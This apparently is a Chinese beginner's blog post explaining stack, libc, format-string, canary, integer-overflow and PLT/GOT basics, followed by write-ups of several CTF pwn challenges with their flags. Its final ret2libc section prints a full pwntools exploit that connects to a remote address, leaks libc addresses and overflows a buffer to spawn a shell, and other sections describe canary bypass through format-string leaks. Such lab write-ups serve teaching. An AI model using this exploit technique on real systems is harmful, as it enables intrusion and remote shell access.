新手打pwn题

打题前,要明白几个知识;

 

栈(Stack)是一种常见的数据结构,以后进先出(LIFO,Last-In-First-Out)的原则进行操作。栈具有以下主要特点:

  1. 存储方式:栈通常使用线性存储结构,可以使用数组或链表实现。数组实现的栈被称为顺序栈,链表实现的栈称为链式栈。

  2. 栈顶和栈底:栈有两个重要的指针,一个是栈顶指针(top),指向栈顶元素;另一个是栈底指针,指向栈底元素的下一个位置。栈开始时为空,栈顶和栈底指针重合。

  3. Push操作:将元素压入栈顶,使得栈顶指针上移一位,并将新元素存储在栈顶位置。

  4. Pop操作:将栈顶元素弹出,返回栈顶元素的值,并将栈顶指针下移一位。

  5. 栈的大小:栈可以有固定的大小限制,这称为固定大小的栈,或者可以动态调整大小的栈,称为动态栈。

什么是libc?:

Libc是指C标准库(C Standard Library),也被称为libc。它是C语言中的标准函数库,提供了各种基础函数和数据类型的定义,以及多个常用功能的实现。

C标准库提供了一系列的函数,涵盖了输入输出、字符串操作、内存管理、数学运算、日期和时间处理、文件操作等功能。这些函数通过头文件(如stdio.h、stdlib.h、string.h等)进行声明,并在链接时与程序进行静态或动态链接。

什么是pop指令:

“pop"指令是一种计算机指令,用于将数据从栈中弹出。栈(stack)是一种常见的数据结构,遵循"先进后出”(Last In, First Out,LIFO)的原则。栈常用于对函数调用、局部变量和中断处理等进行管理。

"pop"指令的具体操作和功能可以因不同的体系结构和指令集而有所差异。以下是一些常见的用途和特点:

  1. x86架构(如Intel和AMD处理器)中的"pop"指令:在x86汇编语言中,"pop"指令用于将栈顶的数据弹出并存储到目标操作数中。例如,pop eax将栈顶的数据弹出并存储到eax寄存器中。

  2. 数据保存和恢复:在函数调用时,通常使用"push"指令将参数和返回地址等数据压入栈中。当函数执行完毕后,可以使用"pop"指令将这些数据从栈中弹出,以恢复前一现场的状态。

  3. 栈指针操作:在栈结构中,使用栈指针(stack pointer)来跟踪栈顶的位置。当使用"pop"指令弹出数据时,栈指针会自动向下移动,指向新的栈顶位置。

  4. 弹出时的数据顺序:由于栈的"先进后出"原则,"pop"指令弹出的数据顺序与它们被"push"到栈中的顺序相反。也就是说,最后"push"的数据将首先被"pop"出来。

什么是格式化字符串:

字符串格式化漏洞是一种常见的安全漏洞,允许攻击者通过输入恶意格式化字符串来读取敏感数据、执行任意代码或者绕过安全机制。

一些常用的格式化字符串:

什么是canary:

Canary是一种防御措施,用于检测缓冲区溢出漏洞。它是一个随机生成的值,插入在局部变量和返回地址之间。如果有缓冲区溢出发生,canary的值会被修改,从而触发检测机制。

要绕过Canary保护,攻击者需要找到绕过canary检测的方法。这通常就涉及到了利用其他漏洞来绕过canary,比如利用格式化字符串漏洞。

在利用格式化字符串漏洞绕过Canary保护时,攻击者尝试修改canary的值,使其绕过检测。攻击者可以使用格式化字符串的特性,将一个特定的值写入到可以修改canary的位置上,从而绕过检测。

canary常见的位置:

Canary(堆栈保护字)一般放置在栈帧的底部,也就是局部变量和其他数据之前。具体来说,它通常位于 RBP(Base Pointer,基址指针)的上方,用于检测缓冲区溢出攻击。栈帧是用于存储函数调用期间的局部变量、函数参数和其他相关数据的一块内存区域。Canary 的放置位置可以提供一种保护机制,用于检测栈溢出等安全漏洞。

这是一个典型的canary形式,可以看到一个canary占了8字节。

canary是由电脑随机生成的0x8长度的字符

那么具体是如何进行检测的呢很简单

在函数返回之前,也就是输入数据的时候,会将该值取出,并与保存

canary的值进行异或。如果异或的结果为 0,说明 Canary 未被修改,

函数会正常返回,这个操作即为检测是否发生栈溢出。

如果我们按照正常栈溢出的思路来进行溢出,并修改返回地址的时候,

就会被检测出来。

什么是整数溢出:

整数溢出是一种常见的安全漏洞,它通常发生在计算机程序中使用整数类型来存储数据时。当一个整数的值超过了所能表示的范围时,溢出发生,导致结果不正确,从而可能引发安全漏洞。

整数溢出可能导致以下问题之一:

  1. 内存破坏:溢出的整数值可能用作数组索引或内存分配的大小,导致缓冲区溢出或堆溢出等内存破坏问题。

  2. 资源耗尽:溢出的整数值可能用作迭代次数或分配资源的数量,导致资源耗尽,例如无限循环或拒绝服务攻击。

  3. 权限提升:溢出的整数值可能用作表示权限或授权值的标志,攻击者可以通过溢出来绕过访问控制。

 

PLT表和GOT表:

在动态链接的程序中,PLT(Procedure Linkage Table)和GOT(Global Offset Table)是用于实现函数调用和全局变量访问的机制。

PLT表包含了函数调用的入口点,当程序第一次调用函数时,它会跳转到PLT表中相应函数的入口点。而GOT表包含了全局变量的地址,在程序访问全局变量时,会通过GOT表来获取正确的地址。

这些表的存在是为了支持动态链接,允许程序在运行时链接外部库,并在需要时解析函数的真实地址。

PWN——WP

NC:

签到题,直接nc

ls

cat flag

Ret2txt:

先查壳:

打开ida分析:

分析主函数,发现是栈溢出。

 

ok,直接写脚本

Exp:

flag{4ad154a3-aa62-47d6-bf65-df37303ac290}


ret2libc_easy

先查壳:

也是栈溢出。

 

但这个是没有\bin\sh这个字符串当指令的。

这时候我们就要用到一个pop指令。以下就是pop指令的一些小知识:

"pop"是计算机指令集中的一种指令,用于从栈中移出(弹出)数据。在栈数据结构中,数据按照后进先出(LIFO)的原则被操作。

当执行"pop"指令时,它会从栈顶取出数据,并将栈顶指针向下移动,指向下一个数据。这意味着最后被压入栈的数据首先被弹出。

"pop"指令在程序执行过程中常用于以下几种情况:

  • 从函数调用中恢复返回地址
  • 弹出局部变量
  • 从栈中获取函数参数等。

获取 执行system指令的地址

\bin\sh字符串的地址;

在虚拟机上用ROPgadget指令来寻找pop指令的地址;

Exp:

flag{2a8eb32c-68ad-4d61-a061-8da7fd743d2b}

整数溢出:

查壳:

 放入ida中反编译进行分析:

有符号类型的转化为无符号类型的时候,会出现一些变化,比如:

将 -1(有符号整数)转换为 unsigned int 类型,会得到最大的无符号整数:4294967295。所以将-1传进去的话,可以绕过>10的条件并实现整数溢出,最后进行栈溢出的操作。

Exp:

flag{0f063198-0d01-4e99-8c43-5d853cf97ec9}

格式化字符串+canary绕过:

查壳:

发现有canary保护;

Ida打开分析:

两个重要函数,

这里有栈溢出。因为有canary保护的话,我们就要绕过canary,这样的话我们就要寻找canary在栈中的位置

 

 两者之间相差0x90-0x8=0x88=136

又因为一个指针8个字节(64位可执行文件),所以buf头与canary保护的位置差为136/8=17.

现在的话我们还要找的buf的偏移位。因为题目是讲格式化字符串,就要用到%p,"%p"是一种格式化字符串指示符,用于以十六进制形式打印指针或内存地址。

%p是回显出16进制数据,“A”是41,所以我们在图中就能观察到格式化字符串的第6个位置。所以canary保护的位置是17+6=23.

绕过canary保护后我们要找到system的返回地址。

 ok了

现在我们可以来写exp:

flag{368b4169-e103-4301-8073-0d84c8359072}

 Ret2libc:
先checksec

32位的,ida分析一下

 

 发现是栈溢出,

 read可读的最大长度是0x100,而buf数组的最大长度是0x88。

主函数地址=0x8048484;

但没发现system和/bin/sh;

题目提醒了blic。提醒我们利用动态库的方法和参数。

根据偏移地址和基础地址来求system地址和/bin/sh地址,进而利用栈溢出进行跳转获得getshell。

 找基础地址的话,直接上网找:https://libc.blukat.me/

现在write地址和write地址的基础地址找到了,就可以求出偏移地址。

所以

Exp为:

这题比较难,分析一下代码

from pwn import *
context.log_level="debug"
r=remote('125.217.36.12',30697)

导入 pwntools 库并设置日志级别为 debug。创建一个远程连接对象 r,连接目标主机的 IP 地址为 125.217.36.12,端口为 30697

elf=ELF('/home/back/xiaoxueqi/ret2libc')
write_pit=elf.plt["write"]
write_got=elf.got["write"]
main_addr=0x08048484

使用 ELF 函数加载一个 ELF 可执行文件 ret2libc,获取 write 函数在 PLT 表中的地址,并获取 write 函数在 GOT 表中的地址。还获取了 main 函数的地址。

payload=b'a'*(0x88+0x4)+p32(write_pit)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
  1. payload 是一个字节串变量,用于保存要发送到目标程序的数据。

  2. 'a'*(0x88+0x04) 表示将字符 'a' 重复 0x88+0x04 次,构造了一段填充字符,长度为 0x88+0x04 个字节。

  3. p32(write_plt) 将 write_plt 变量的值打包为一个 32 位字节串,并将其追加到 payload 中。这个操作是为了覆盖返回地址,将控制流转到 write 函数。

  4. p32(main_addr) 将 main_addr 变量的值打包为一个 32 位字节串,并将其追加到 payload 中。这个操作是为了覆盖 write 函数返回后的返回地址,将其设置为 main 函数的地址,以实现程序的继续执行。

  5. p32(1) 将整数 1 打包为一个 32 位字节串,并将其追加到 payload 中。这个操作是为了指定文件描述符为 1,即 stdout,使得 write 函数将数据写入标准输出。

  6. p32(write_got) 将 write_got 变量的值打包为一个 32 位字节串,并将其追加到 payload 中。这个操作是为了指定 write 函数在 GOT 表中的地址,以便获取 write 函数的真实地址。

  7. p32(4) 将整数 4 打包为一个 32 位字节串,并将其追加到 payload 中。这个操作是为了指定要从 write 函数读取的字节数。

r.sendlineafter("Input:\n",payload)
write_addr=u32(r.recv()[:4])

发送 payload 给远程连接对象 r,并接收返回的数据。将接收到的前 4 个字节解析为一个无符号整数,保存到 write_addr 变量中。

base_write=0x0d44d0
base_binsh=0x15912b
base_system=0x03a950
rela_addr=write_addr-base_write
system_addr=base_system+rela_addr
binsh_addr=base_binsh+rela_addr

计算 write 函数在 libc 中的地址与基址之间的偏移量。然后计算 system 函数地址和 "/bin/sh" 字符串地址,通过将偏移量加到基址上获取这两个地址。

payload=b'a'*(0x88+0x4)+p32(system_addr)+p32(0)+p32(binsh_addr)
r.sendlineafter("Input:\n",payload)
r.interactive()

构造新的 payload,其中包括 0x88+0x4 个 ‘a’ 字节,用于填充溢出空间。然后按照函数调用约定,依次压入参数和函数地址:system 函数地址、文件描述符 0(stdin)、"/bin/sh" 字符串地址。发送 payload 给远程连接对象 r,然后进入交互模式

 

flag{ef08de12-b23e-494f-9791-4cc050aedb69}

  • 1
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

密码小丑

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值